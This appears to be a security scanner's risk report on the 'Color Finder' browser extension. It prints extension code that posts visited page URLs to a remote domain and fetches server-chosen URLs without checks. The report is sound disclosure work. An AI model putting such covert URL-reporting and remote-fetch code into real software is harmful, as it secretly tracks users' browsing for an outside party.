Is Color Finder safe?

Medium risk

Color Finder is medium risk. Code analysis shows that if the server's reply to the page-URL post has a diagram field, the extension sends a GET request to that URL. Code analysis shows the extension posts the address of a page to colorfindergetselectorsco.info when its site is on a list that the…

colorfinderpcv2.1Extension ID necmnahhpjieeknfddniaagcnhlglgoaChrome Web Store
57Risk
Who publishes it

colorfinderpc - 1 other listing from the same operator, none carrying a finding

Publisher
colorfinderpc

Same store account

1 other listing published from this account, 60 users between them, none of them carrying a finding.

AI-assisted analysis.

Color Finder findings

Color picker fetches any URL the server returns after its page-URL post

HighunwantedCWE-829Static analysis

Code analysis shows that if the server's reply to the page-URL post has a diagram field, the extension sends a GET request to that URL.

What actually happens

You did this

The server's reply to the page-URL post includes a diagram value.

The extension did this

The extension sends a GET request to that value from your browser.

The address is not checked against any allow list.

The code that does this

Follow-up request

Readable version

Same code, shipped unminified

background.js
const fe = async (u) => {  const settings = {      method: 'GET',      headers: {          Accept: 'application/json',          'Content-Type': 'application/json',          'Cache-Control': 'no-cache'      }  }  const r = await fetch(u, settings)  return r.url}// in the /a/u response handler:if(colors["diagram"]) {  fe(colors["diagram"])}

Source of the follow-up URL

    • colorfindergetselectorsco.info

    Receives the visited page address at /a/u and returns the domain list and any follow-up URL.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Color picker posts page URLs to a remote server for domains on its list

HighunwantedCWE-200Static analysis

Code analysis shows the extension posts the address of a page to colorfindergetselectorsco.info when its site is on a list that the server supplies.

What actually happens

You did this

You open a page on a site that appears on the extension's stored domain list.

The extension did this

The extension posts that page's address to colorfindergetselectorsco.info.

Pages on other sites send nothing.

Body of the POST to /a/u

  • Page address
    https://www.example-shop.com/cart

    Origin plus path of the page you just loaded, without the query string.

The code that does this

Navigation listener

Readable version

Same code, shipped unminified

background.js
chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {  if (changeInfo.status === 'complete') {    chrome.storage.local.get('hexDomains', function (items) {      const hexDomains = items.hexDomains || {}      let hname = getHName(tab?.url)      let tu = tab.url ? new URL(tab?.url) : ""      if(!tu) return      let origin = tu.origin      let path = tu.pathname      let uri = origin + path      if (hexDomains && hexDomains[hname]) {        const apiUrl = 'https://colorfindergetselectorsco.info/a/u';        const requestData = {uri};        fetch(apiUrl, {          method: 'POST',          headers: {'Content-Type': 'application/json'},          body: JSON.stringify(requestData)        })

Destination

    • colorfindergetselectorsco.info

    Receives the visited page address at /a/u and returns the domain list and any follow-up URL.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Extension fetches a server-set domain list that decides which URLs it reports

MediumunwantedCWE-829Static analysis

Code analysis shows the extension posts its install ID to colorfindergetselectorsco.info at startup and stores the returned domain list.

What actually happens

You did this

When the extension's background script starts, it requests a domain list from colorfindergetselectorsco.info.

The extension did this

The returned list is stored and later decides which visited pages are reported to the same server.

The code that does this

Startup fetch of the domain list

Readable version

Listener that consults the list

background.js
chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {  if (changeInfo.status === 'complete') {    chrome.storage.local.get('hexDomains', function (items) {      const hexDomains = items.hexDomains || {}      let hname = getHName(tab?.url)      ...      let uri = origin + path      if (hexDomains && hexDomains[hname]) {        const apiUrl = 'https://colorfindergetselectorsco.info/a/u';        fetch(apiUrl, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({uri}) })

Data sent in the list request

  • Install ID
    {"token":"b3f1c2d4-7a9e-4c11-9d2a-5e6f7a8b9c0d"} (illustrative)

    A locally generated token sent to the server at each startup.

  • Endpoint
    https://colorfindergetselectorsco.info/a/d

    The server that returns the domain list.

Where requests go

    • colorfindergetselectorsco.info

    Receives the install ID, returns the domain list, and receives page URLs for matched domains.

Observation

Two dynamic analysis sessions did not capture any request to /a/d. The test harness did not record background-script fetch calls, so the result is inconclusive rather than negative.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What Color Finder can do

Permissions this extension asks for, as declared in version 2.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Store data in your browser

    storage

  • Act on the current tab, but only after you click the extension

    activeTab

  • Keep running in the background while your browser is open

    background

Chrome Web Store listing

Versions
2.1 seen since March 4, 2026
Store rating
2.1 from 32 ratings
Last updated
December 26, 2025
Size
335 KiB
Updated July 21, 2026